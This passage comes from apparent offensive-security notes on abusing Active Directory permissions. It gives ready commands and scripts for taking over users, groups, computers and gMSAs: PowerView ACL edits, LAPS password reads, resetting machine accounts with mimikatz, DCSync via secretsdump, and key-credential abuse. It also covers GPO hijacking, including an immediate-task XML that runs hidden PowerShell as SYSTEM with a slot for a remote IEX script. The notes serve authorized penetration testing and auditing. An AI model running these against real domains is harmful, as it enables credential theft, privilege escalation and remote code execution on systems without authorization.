Add-ADGroupMember -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials> -Identity "<GROUP>" -Members <USERNAME>

Add-DomainGroupMember -Identity "<GROUP>" -Members [<SamAccountName | DistinguishedName | SID | GUID>, ...]
Add-DomainGroupMember -Domain <DOMAIN> -Credential <PSCredentials> -Identity "<GROUP>" -Members [<SamAccountName | DistinguishedName | SID | GUID>, ...]

User / group - WriteOwner

The RSAT Get-ACL and Set-ACL, and PowerView's Set-DomainObjectOwner PowerShell cmdlets can be used to change the owner of a security object. Being the owner of an user can be leveraged to change the user password and being the owner of a group can allows for the addition of others security objects to the group.

$ACL = Get-ACL -Path "AD:<OBJECT_DISTINGUISHED_NAME>"
$Principal = New-Object System.Security.Principal.NTAccount("<DOMAIN>", "<USERNAME | GROUPNAME>")
$ACL.SetOwner($Principal)
Set-Acl -Path "AD:<OBJECT_DISTINGUISHED_NAME>" -AclObject $ACL

Set-DomainObjectOwner -Verbose -Identity <SamAccountName | DistinguishedName | SID | GUID> -OwnerIdentity <SamAccountName | DistinguishedName | SID | GUID>
Set-DomainObjectOwner -Verbose -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials> -Identity <SamAccountName | DistinguishedName | SID | GUID> -OwnerIdentity <SamAccountName | DistinguishedName | SID | GUID>

# Once the user / group owner is changed, the GenericAll privilege can be granted to users using the new owner identity.
# Refer to the "User - GenericAll" and "Group - GenericAll" parts for further exploitation.
Add-DomainObjectAcl -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -TargetIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights All

User / group - WriteDacl

PowerView's Add-DomainObjectAcl and the ActiveDirectory module's Get-Acl / Set-Acl PowerShell cmdlet can be used to modify the specified object ACL.

Add-DomainObjectAcl can be used to add the following rights: GenericAll and ExtendedRight's ForceChangePassword. The WriteMembers option is documented as WriteProperty to the Member attribute but is non functional.

Additionally, the Active Directory Users and Computers snap-in can be used to modify ACL using a graphical interface.

# Procedure to the modify an object's ACL using ADUC.
mmc.exe -> File -> Add/Remove Snap-in... (Ctrl + M) -> Active Directory Users and Computers
-> <DOMAIN> -> System -> right click AdminSDHolder -> Properties -> Security -> Advanced -> Add
-> Select a principal
-> Type: Allow
-> Permissions: FullControl / Write all properties / Modify permissions / Modify owner / ...

# Automated modification using PowerView's Add-DomainObjectAcl to grant the GenericAll and ExtendedRight's ForceChangePassword rights.
# TargetIdentity: security object that will be modified
# PrincipalIdentity: security object that will be given the right over the targeted object
Add-DomainObjectAcl -Verbose -TargetIdentity <SamAccountName | DistinguishedName | SID | GUID> -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights <All | ResetPassword | WriteMembers>
Add-DomainObjectAcl -Verbose -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredentials> -TargetIdentity <SamAccountName | DistinguishedName | SID | GUID> -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights <All | ResetPassword | WriteMembers>

# Manual modification using PowerShell ActiveDirectory module, that can be used to set specific ACE (GenericAll, ExtendedRight's ForceChangePassword, and WriteProperty to the Member attribute below).
$Object = "AD:\<DistinguishedName>"
$User = '<USERNAME>'
$UserSID = [System.Security.Principal.SecurityIdentifier] $(Get-ADUser $User).SID
$ObjectACL = Get-ACL -Path $Object
# Adds the ACE GenericAll.
$ACE_FullControl = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow,
    [DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$ObjectACL.AddAccessRule($ACE_FullControl)
# Adds the ACE WriteProperty to the Member attribute.
$ACE_WriteMember = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty,
    [System.Security.AccessControl.AccessControlType]::Allow,
    "bf9679c0-0de6-11d0-a285-00aa003049e2",
    [DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$ObjectACL.AddAccessRule($ACE_WriteMember)
# Adds the ACE ExtendedRight's User-Force-Change-Password.
$ACE_ResetPassword = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
    [System.Security.AccessControl.AccessControlType]::Allow,
    "00299570-246d-11d0-a768-00aa006e0529",
    [DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$ObjectACL.AddAccessRule($ACE_ResetPassword)
Set-Acl -Path $Object -AclObject $ObjectACL

Automated exploitation

The PowerShell cmdlet Invoke-ACLpwn, leveraging SharpHound.exe and thus .NET 3.5, can be used to exhaustively enumerate the domain security principal objects DACLs and find potential paths leading to privileges escalation.

Note that Invoke-ACLpwn will actively add the specified user to security groups it has control over.

Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe

Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -Domain '<DOMAIN>' -Username '<USERNAME>' -Password '<PASSWORD>'

Computer machine account ACL exploitation

Summary

Object typePrivilegeDescription

Computer

GenericAll (RIGHT_GENERIC_ALL)

Full rights on the computer account (including WriteOwner and WriteDacl rights), sufficient for all the following compromise techniques.

Computer

WriteOwner (RIGHT_WRITE_OWNER)

Ability to change the owner of the computer account, granting sufficient privileges for all the following compromise techniques.

Computer

WriteDacl (RIGHT_WRITE_DAC)

Ability to change the DACL of the computer account, allowing oneself to grant any rights on the computer account.

Computer

AllExtendedRights (RIGHT_DS_WRITE_PROPERTY_EXTENDED) ActiveDirectoryRights: ExtendedRight and Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000

Ability to perform any action associated with extended Active Directory rights against the object. Includes the possibility to retrieve the LAPS password (if LAPS is deployed on the affected computers) or reset the computer account password.

Computer

ExtendedRight (RIGHT_DS_WRITE_PROPERTY_EXTENDED)'s ForceChangePassword Rights-GUID: 00299570-246d-11d0-a768-00aa006e0529

Ability to change the computer account password with out knowledge of the current password, which can be leveraged to impersonate the computer account from an Active Directory standpoint. The password update will not be replicated on the computer itself, preventing remote code execution (through Kerberos service tickets) and will greatly impact the computer operability.

Computer

GenericWrite (RIGHT_GENERIC_WRITE) WriteProperty (RIGHT_DS_WRITE_PROPERTY) to all properties The associated Rights-GUID should normally be undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000

Ability to update all (non protected) attributes of the computer account and notably the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Does not provide the ability to reset a computer account password.

Computer

GenericWrite / WriteProperty to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. msDS-AllowedToActOnBehalfOfOtherIdentity's Rights-GUID: 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79`

Ability to write a computer account's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, which can lead to remote code execution on the targeted computer through Kerberos resource-based constrained delegation.

Computer

WriteProperty (RIGHT_DS_WRITE_PROPERTY) to msDS-KeyCredentialLink. msDS-KeyCredentialLink's Rights-GUID: 5b47d60f-6090-40b2-9f37-2a4de88f3063.

Ability to define or update the msDS-KeyCredentialLink attribute allows to set a Key Credential to request TGT for the machine account through PKINIT authentication (Key Trust model). An User to User TGT can be requested, permitting the retrieval of the machine account NTLM hash and ultimately leading to remote code execution on the host (through silver tickets for instance).

LAPS password (ms-Mcs-AdmPwd attribute)

The Microsoft Local Administrator Password Solution (LAPS) solution provides management capacity of local account passwords of domain joined computers. Whenever LAPS is installed in an Active Directory domain, the domain schema is modified with the addition of two attributes for the computer machine objects:

  • ms-Mcs-AdmPwd, a confidential attribute, which can store one of the machine's local account password (such as the local built-in Administrator for example).

  • ms-Mcs-AdmPwdExpirationTime, which defines the expiration date of the password stored.

The access to the LAPS password is protected through the ACL defined on the computer machine account and its ms-Mcs-AdmPwd attribute. By default, only the members of the Domain Admins group can access (ReadProperty) the LAPS password. The right to access the LAPS password is usually delegated, through utilities such as Set-AdmPwdReadPasswordPermission, at the Organisational Unit (OU) level, to be applied to every computers object in the OU.

The PowerShell cmdlets of the ActiveDirectory and the LAPSToolkit suite, based on PowerView, can be used to enumerate the access to the LAPS password:

# Retrieves all domain-joined computers with LAPS enabled and additionally displays the LAPS password given sufficient privileges (ReadProperty on the ms-Mcs-AdmPwd).
Get-ADComputer -Filter { ms-Mcs-AdmPwdExpirationTime -like "*" } -Properties * | Ft Name,CanonicalName,DNSHostname,ms-Mcs-AdmPwdExpirationTime,ms-Mcs-AdmPwd
Get-LAPSComputers
Get-LAPSComputers | Export-Csv -NoTypeInformation -Path <OUTPUT_CSV>

# Retrieves the users or groups that are delegated the ReadProperty right on the ms-Mcs-AdmPwd attribute at the OU level.
Find-LAPSDelegatedGroups
Find-LAPSDelegatedGroups | Export-Csv -NoTypeInformation -Path <OUTPUT_CSV>

# Enumerates every computers objects in the domain with LAPS enabled, parses the eventual ExtendedRight ACL to precisely determine which security principals can read the ms-Mcs-AdmPwd attribute.
# Due to performance issue, will be tremendously long on larger domain.
Find-AdmPwdExtendedRights
Find-AdmPwdExtendedRights | Export-Csv -NoTypeInformation -Path <OUTPUT_CSV>

Kerberos delegation (msDS-AllowedToActOnBehalfOfOtherIdentity attribute)

The right to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a domain machine account can lead to the remote compromise of the machine, through the exploitation of Kerberos resource-based constrained delegation implementation. It authorize the service accounts specified in the computer account's msDS-AllowedToActOnBehalfOfOtherIdentity attribute to impersonate other users on the computer accounts through delegated / S4U2self service tickets.

This right may be granted:

  • specifically through WriteProperty / GenericWrite on the msDS-AllowedToActOnBehalfOfOtherIdentity attribute (GUID: 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79),

  • indirectly through ownership of the machine account,

  • directly and indirectly through broader control rights on the machine account (GenericAll, WriteOwner, WriteDACL, WriteProperty / GenericWrite on all attributes).

Refer to the [ActiveDirectory] Kerberos delegations note for more information on how to conduct the machine takeover (after acquiring the right to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a targeted machine).

WriteOwner to WriteProperty msDS-AllowedToActOnBehalfOfOtherIdentity

PowerView's Set-DomainObjectOwner PowerShell cmdlet can be used to change the owner of a domain service or machine account. Ownership of a domain service or machine account can be subsequently leveraged, using PowerView's Add-DomainObjectAcl PowerShell cmdlet, to modify the object's ACL in order to obtain the right to modify its msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName
Set-DomainObjectOwner -Verbose -Identity <TARGET_OBJECT_IDENTITY> -OwnerIdentity <IDENTITY>
Set-DomainObjectOwner -Verbose -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials> -Identity <TARGET_OBJECT_IDENTITY> -OwnerIdentity <IDENTITY>

Ownership / WriteDACL to WriteProperty msDS-AllowedToActOnBehalfOfOtherIdentity

PowerView's Add-DomainObjectAcl PowerShell cmdlet can be used to modify the targeted domain service or machine account's ACL in order to grant the specified security principal the WriteProperty right on the targeted account msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

# TARGET_OBJECT_IDENTITY: (DistinguishedName (DN), GUID, SID or SamAccountName of the) security object that will be modified.
# PRINCIPALIDENTITY: (DistinguishedName (DN), GUID, SID or SamAccountName of the) security object that will be given the right over the targeted object

Add-DomainObjectAcl -Verbose -TargetIdentity <TARGET_OBJECT_IDENTITY> -PrincipalIdentity <PRINCIPALIDENTITY> -RightsGUID "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"
Add-DomainObjectAcl -Verbose -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredentials> -TargetIdentity <TARGET_OBJECT_IDENTITY> -PrincipalIdentity <PRINCIPALIDENTITY> -RightsGUID "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"

Computer account's password reset

The right to reset (ExtendedRight's ForceChangePassword) a computer account's password can be leveraged to impersonate the computer account from an Active Directory standpoint. The password update will not be replicated by the Active Directory services to the computer itself. Remote code execution on the computer (through Kerberos service tickets) thus cannot be achieved through a reset of the computer account's password in Active Directory.

Resetting a computer account's password using the technique below will greatly impact the computer operability. For instance, the computer will no longer be able to process domain logons (error: The trust relationship between this workstation and the primary domain failed). If conducted on a Domain Controller machine account, the targeted Domain Controller would not be able to authenticate to others Domain Controllers for replication operations.

This attack path can notably be leveraged on computer accounts that are granted the rights to conduct replication operations through the DRSUAPI (Ds-Replication-Get-Changes and / or Ds-Replication-Get-Changes-All rights), such as Domain Controllers.

The net Windows built-in utility and mimikatz's lsadump::setntlm function can be used to reset a computer account's password. As the Domain Controller that will process the modification cannot be specified using the net utility, it is recommended to use mimikatz. Knowledge of the Domain Controller on which the update took place is indeed necessary for further authentication using the computer account without waiting for the replication of the new password across the domain. Additionally, mimikatz allows the specification of an NTLM hash, which can be used to eventually restore the original computer account password.

net user <MACHINE_ACCOUNT> <NEW_PASSWORD> /domain

# The Domain Controller specified using <DOMAIN_CONTROLLER_FQDN> or <DOMAIN_CONTROLLER_IP>  must be consistent across commands.
mimikatz # lsadump::setntlm /server:<DOMAIN_CONTROLLER_FQDN> /user:<MACHINE_ACCOUNT> /password:<NEW_PASSWORD>

# Conducts DRSUAPI replication operations (DCSync attack) to retrieve the history of the targeted computer account passwords (as well as privileged domain accounts if necessary).
secretsdump.exe -history -dc-ip <DOMAIN_CONTROLLER_IP> [-just-dc-user <MACHINE_ACCOUNT>] '<DOMAIN>/<MACHINE_ACCOUNT>:<NEW_PASSWORD>@<DOMAIN>'
# Restores the previous computer account password using its NTLM hash.
lsadump::setntlm /server:<DOMAIN_CONTROLLER_FQDN> /user:<MACHINE_ACCOUNT> /ntlm:<ORIGINAL_NTLM>

Ability to write the msDS-KeyCredentialLink attribute

The ability to write a computer object's msDS-KeyCredentialLink attribute can lead to the retrieval of the computer account's NTLM hash. Refer to the User - GenericWrite / Write-Property to all attributes or to the msDS-KeyCredentialLink attribute section of the present note for more information and tooling to modify a computer object's msDS-KeyCredentialLink attribute and retrieve its NTLM hash.

Using the retrieved computer account's NTLM hash:

  • Authenticated Active Directory requests can be made under the identity of the computer account.

  • Remote code execution can be achieved on the computer using silver tickets. A service ticket (ST) to the host's services (HOST/<MACHINE_HOSTNAME> for instance) can indeed be forged using the NTLM hash (which correspond to the Kerberos RC4 key) of the computer account. Any privileged principals can be impersonated in the forged ST in order to remotely execute code on the targeted host. Refer to the [ActiveDirectory] Exploitation - Kerberos Silver Tickets note for more information on how to craft and use silver tickets for remote code execution.

group Managed Service Accounts (gMSA)

The ability to write a group Managed Service Account (gMSA) object's msDS-GroupMSAMembership attribute can lead to the retrieval of the gMSA account's password. The right can be directly (WriteProperty on the msDS-GroupMSAMembership attribute - Rights-GUID: 888eedd6-ce04-df40-b462-b8a50e41ba38) or indirectly (GenericAll, WriteOwner, or WriteDacl) held.

For more information on gMSAs, as well as tools and techniques to retrieve and use a gMSAs's password, refer to the [ActiveDirectory] gMS accounts note.

gMSAs ACL enumeration

The following PowerShell code snippet leverage the PowerShell ActiveDirectory module to retrieve the principals with the direct or indirect rights to modify gMSAs's msDS-GroupMSAMembership attribute.

# Enumerates all principals with direct or indirect rights to retrieve gMSAs' password.
Get-ADServiceAccount -Filter * | ForEach-Object { Get-ACL "AD:\$_" } | Select-Object -ExpandProperty Access | Where-Object {(
$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner'`
-or ($_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|888eedd6-ce04-df40-b462-b8a50e41ba38')`
-and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly")}

# Enumerates and highlights principals (depending on presupposed risks) with direct or indirect rights to retrieve gMSAs' password.
$PrivilegedPrincipalsRegex = [string]::Join('|', @('Domain Admins', 'Enterprise Admins', 'Domain Controllers', 'Account Operators', 'BUILTIN\\Administrators', 'NT AUTHORITY\\SYSTEM'))
$UnprivilegedPrincipalsRegex = [string]::Join('|', @('Domain Users', 'Everyone', 'Domain Computers', 'Authenticated Users', 'Anonymous', 'Users'))

Get-ADServiceAccount -Filter * | ForEach-Object { Get-ACL "AD:\$_" } | Select-Object -ExpandProperty Access | Where-Object {(
    $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner'`
    -or ($_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|888eedd6-ce04-df40-b462-b8a50e41ba38')`
    -and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly")} | ForEach-Object {

    If ($_.IdentityReference -match $UnprivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Green $_.IdentityReference
      $anyoneCanEnroll = $True
    }

    ElseIf ($_.IdentityReference -match $PrivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Red $_.IdentityReference
    }

    Else { Write-Host -ForegroundColor Yellow $_.IdentityReference }
    $_
    Write-Host "`n"
}

GenericAll | Write-Property to all attributes or to the msDS-GroupMSAMembership attribute

The following PowerShell code snippet uses cmdlets from the PowerShell ActiveDirectory module to add a principal to the msDS-GroupMSAMembership attribute of a specified gMSA (while preserving the existing entries):

$gMSA = "<GMSA_ACCOUNT>"
# Example PRINCIPAL_NAME: <USERNAME> or <GROUPNAME> such as Domain Users,...
$PrincipalToAdd = "<PRINCIPAL_NAME>"

# Retrieves the principal(s) currently allowed to retrieve the gMSA's password.
Write-Host "Current PrincipalsAllowedToRetrieveManagedPassword:"
$originalPrincipalsAllowedToRetrieveManagedPassword = Get-ADServiceAccount -Properties PrincipalsAllowedToRetrieveManagedPassword $gMSA | Select-Object -ExpandProperty PrincipalsAllowedToRetrieveManagedPassword
$originalPrincipalsAllowedToRetrieveManagedPassword
Write-Host "`n"

# Grants the specified principal the right to retrieve the gMSA's password.
Write-Host "New PrincipalsAllowedToRetrieveManagedPassword:"
$newPrincipalsAllowedToRetrieveManagedPassword = @()
$newPrincipalsAllowedToRetrieveManagedPassword += $originalPrincipalsAllowedToRetrieveManagedPassword
$newPrincipalsAllowedToRetrieveManagedPassword += $PrincipalToAdd
$newPrincipalsAllowedToRetrieveManagedPassword
Set-ADServiceAccount -PrincipalsAllowedToRetrieveManagedPassword $newPrincipalsAllowedToRetrieveManagedPassword $gMSA
Write-Host "`n"

Write-Host "Validation of updated PrincipalsAllowedToRetrieveManagedPassword:"
Get-ADServiceAccount -Properties PrincipalsAllowedToRetrieveManagedPassword $gMSA
Write-Host "`n"

# The gMSA's password should be retrieve before restoration.

# Restore the gMSA's original PrincipalsAllowedToRetrieveManagedPassword.
Write-Host "Restoring original PrincipalsAllowedToRetrieveManagedPassword:"
Set-ADServiceAccount -PrincipalsAllowedToRetrieveManagedPassword $originalPrincipalsAllowedToRetrieveManagedPassword $gMSA
Get-ADServiceAccount -Properties PrincipalsAllowedToRetrieveManagedPassword $gMSA

GPO ACEs exploitation

GPO enforcement

GPO can be linked to an Organizational Unit (OU) but not necessarily applied, as an OU can blocks inheritance on an not enforced linked (GPLink) GPO or a conflicting GPO with a higher precedence order may supplant the exploitable GPO.

The precedence order respect the principle that, in case of conflicting settings in GPOs, the last GPO applied will overwrite any settings applied earlier and the GPO closest to the client location in the directory structure will be applied last. Concretely, the precedence order is as follow (from the applied first / lowest in the precedence order to the applied last / highest in the precedence order):

  • local GPO

  • site GPO

  • domain GPO

  • OU (for nested OU, the GPO closer to the object being the highest in the precedence order)

Others mechanisms, such as WMI filtering (which restrains the application of the GPO depending on the result of a true / false WMI query), or Security filtering (which restrains to specific members - users and groups - of security groups) may further influence the GPO enforcement.

For now, BloodHound takes into account the block inheritance / enforced mechanism but not the precedence order nor the WMI filtering and security filtering.

PowerView can also be used to find where exploitable GPO are linked and possibly applied by retrieving the GPLink attribute of an OU.

Get-DomainOU -GPLink "<GPO_GUID>" | ForEach-Object {
    Get-DomainComputer -SearchBase "LDAP://$($_.distinguishedname)" | Ft Name
}

# With Credential and Server
Get-DomainOU -Server <DC> -Credential <PSCredential> -GPLink "<GPO_GUID>" | ForEach-Object {
    Get-DomainComputer -Server <DC> -Credential <PSCredential> -SearchBase "LDAP://$($_.distinguishedname)" | Ft Name
}

However, this will not take into account the rules of inheritance and precedence.

Exploitable access rights

The following access rights can be exploited to ultimately edit a GPO:

PrivilegeDescription

WriteProperty

Right to modify the GPO. This specific right is assigned when delegating the permission Edit settings through the Group Management Policy Console (GMPC). Note that if the attribute ObjectAceFlags has for value ObjectAceTypePresent then only the property identified by the ObjectAceType attribute will be editable.

WriteOwner

Ability to change the owner of the GPO, thus granting complete control over the GPO and notably the ability to edit it. This right is assigned when delegating the permission Edit settings, delete, modify security through the Group Management Policy Console (GMPC).

WriteDacl

Ability to change the DACL of the GPO object, thus granting complete control over the GPO and notably the ability to edit it. This right is assigned when delegating the permission Edit settings, delete, modify security through the Group Management Policy Console (GMPC).

GenericAll

Full rights on the GPO object (including WriteProperty, WriteOwner and WriteDacl). This right can only be assigned through the Advanced Security Settings of the Group Management Policy Console (GMPC) (Full control) or by manually modifying the GPO object's ACL.

GenericWrite

Ability to update any non-protected object (almost) all properties values. Similar to WriteProperty to all properties. Does not appear to be settable through the Group Management Policy Console (GMPC).

The WriteOwner access right can be exploited to take ownership of the GPO folder in the SYSVOL share using the Windows explorer utility. The advanced Security properties (Right click -> Properties -> Security -> Advanced) has an option the change the GPO owner.

Version numbers

A GPO can be modified by directly editing the GPO files in the SYSVOL directory. However, if doing so, a number of parameters must also be updated.

Indeed, the versionNumber attribute of the GPO object and the Version attribute within the GPT.ini file in the SYSVOL must be increased, otherwise the change made to the GPO won't be replicated on others domain controllers and clients will not pull the changes during normal GPO update cycle.

The GPT.ini, located in \\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>, is a simple text file that can be edited using any text editor or with the following PowerShell one-liner:

Get-Content -Path "\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI"
(Get-Content -Path "\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI") -Replace "^Version=.*","Version=<NEW_VERSION>" | Out-File "\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI"

# Get-Content does not support the use of -Credential / -Server.
# In order to use authentication, a new drive must be configured
net use Z: "\\<DC_HOSTNAME | DC_IP>\SYSVOL" <PASSWORD> /user:<DOMAIN>\<USERNAME>

Get-Content -Path "Z:\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI"

(Get-Content -Path "Z:\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI") -Replace "^Version=.*","Version=<NEW_VERSION>" | Out-File "Z:\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI"

net use Z: /delete

The versionNumber attribute of the GPO object can be modified using PowerView. Note that the Group Policy module for PowerShell does not provides any editing cmdlets for existing GPO.

Get-DomainGPO -Identity "<GPO_NAME | GPO_GUID>" -Properties VersionNumber

Get-DomainGPO -Identity "<GPO_NAME | GPO_GUID>" | Set-DomainObject -Set @{'versionnumber'='<NEW_VERSION>'}

gPCMachineExtensionNames / gPCUserExtensionNames

The gPCMachineExtensionNames or gPCUserExtensionNames attributes of a GPO object refer to the machine / user settings modified.

For example, the following GUID must be added in the gPCMachineExtensionNames attribute in order to make possible the creation of a new user and/or the update of a local group of the computer the GPO is applied to:

# Default extension for GPO modifying the Computer Configuration
{00000000-0000-0000-0000-000000000000} - Core GPO Engine

# User creation or group membership update
{17D89FEC-5C44-4972-B12D-241CAEF74509} - Preference CSE GUID Local users and groups
{79F92669-4224-476C-9C5C-6EFB4D87DF4A} - Preference Tool CSE GUID Local users and groups

The gPCMachineExtensionNames and gPCUserExtensionNames attributes of the GPO object can be modified using PowerView. Note that the Group Policy module for PowerShell does not provides any editing cmdlets for existing GPO:

Get-DomainGPO -Identity "<GPO_NAME | GPO_GUID>" -Properties gPCMachineExtensionNames | Select-Object -ExpandProperty gPCMachineExtensionNames

Get-DomainGPO -Identity "<GPO_NAME | GPO_GUID>" | Set-DomainObject -Set @{'gPCMachineExtensionNames'='<{EXISTING_GUID}{NEW_GUID}[...]>'}

[Example - GPO Machine] User rights

The GptTmpl.inf file, located in \\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\MACHINE\Microsoft\Windows NT\SecEdit\, can be edited to add user rights to the specified domain or local user.

From an opsec perspective, note that modifying a GPO [Privilege Rights] assignation may override another assignation in a GPO with a lower precedence order, resulting in a possible loss of access for legitimate personal. It is thus recommended to first enumerate all GPO being applied on the Organizational Unit before undertaking any changes.

The full list of privileges assign to an user when being added as a member of the local built-in Administrators group is as follow. The SeRemoteInteractiveLogonRight and SeDebugPrivilege privileges are enough to dump the LSASS process through a Remote Desktop access.

# SePriv = *<SID>
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeBackupPrivilege
SeBatchLogonRight
SeChangeNotifyPrivilege
SeCreatePagefilePrivilege
SeDebugPrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeInteractiveLogonRight
SeLoadDriverPrivilege
SeMachineAccountPrivilege
SeNetworkLogonRight
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemTimePrivilege
SeTakeOwnershipPrivilege
SeUndockPrivilege
SeEnableDelegationPrivilege

The following GUID must be added in the gPCMachineExtensionNames attribute if user rights and privileges are defined in the GPO:

[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]

[Example - GPO Computer / User] Immediate task

An immediate task is a task that will be run as soon as the client the GPO is applied to, a computer or an user, refresh its Group Policy.

Computer immediate task can be run under the NT AUTHORITY\SYSTEM local built-in account while user immediate task may only run under the identity of the domain account opening the session (with out specifying password, otherwise the tasks impersonate the given domain account).

Computer immediate task

A computer immediate task can be created using the Group Policy Management utility:

Right click on the GPO -> `Edit...`
  -> Computer Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks
     -> Right click -> New -> Immediate Task (At least Windows 7)
        -> "When running the task, use the following user account:", specify `NT AUTHORITY\System`
        -> Check "Run with highest privileges" and "Hidden"
        -> Actions -> New -> "Start a program" -> powershell.exe or cmd.exe with the command to be executed as argument.

Or using the following template, in the ScheduledTasks file, that will create an immediate task running under the NT AUTHORITY\SYSTEM account the specified PowerShell script <INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>, with three retries, one every minute.

The computer immediate task GPO file paths is:

  • \\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\Machine\Preferences\ScheduledTasks

# Update <DOMAIN> and <INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="TEST" image="0" changed="2019-12-14 22:34:06" uid="{BFC35203-A437-4104-90DD-32DC39E2BA39}"><Properties action="C" name="TEST" runAs="NT AUTHORITY\System" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author><DOMAIN>\Admininistrator</Author><Description></Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT AUTHORITY\System</UserId><LogonType>S4U</LogonType><RunLevel>HighestAvailable</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Command><Arguments>-nop -Win Hidden -exec bypass -c "<INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>"</Arguments></Exec>
				</Actions></Task></Properties></ImmediateTaskV2>
</ScheduledTasks>

The following GUID must be added in the gPCMachineExtensionNames attribute in order to make the immediate task effective:

[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]

User immediate task

An user immediate task can be created using the Group Policy Management utility:

Right click on the GPO -> `Edit...`
  -> User Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks
     -> Right click -> New -> Immediate Task (At least Windows 7)
        -> "When running the task, use the following user account:", specify `%LogonDomain%\%LogonUser%`
        -> Check "Run with highest privileges" and "Hidden"
        -> Actions -> New -> "Start a program" -> powershell.exe or cmd.exe with the command to be executed as argument. In order to hide the PowerShell console to the affected user, the `-Win Hidden` flag must be specified.

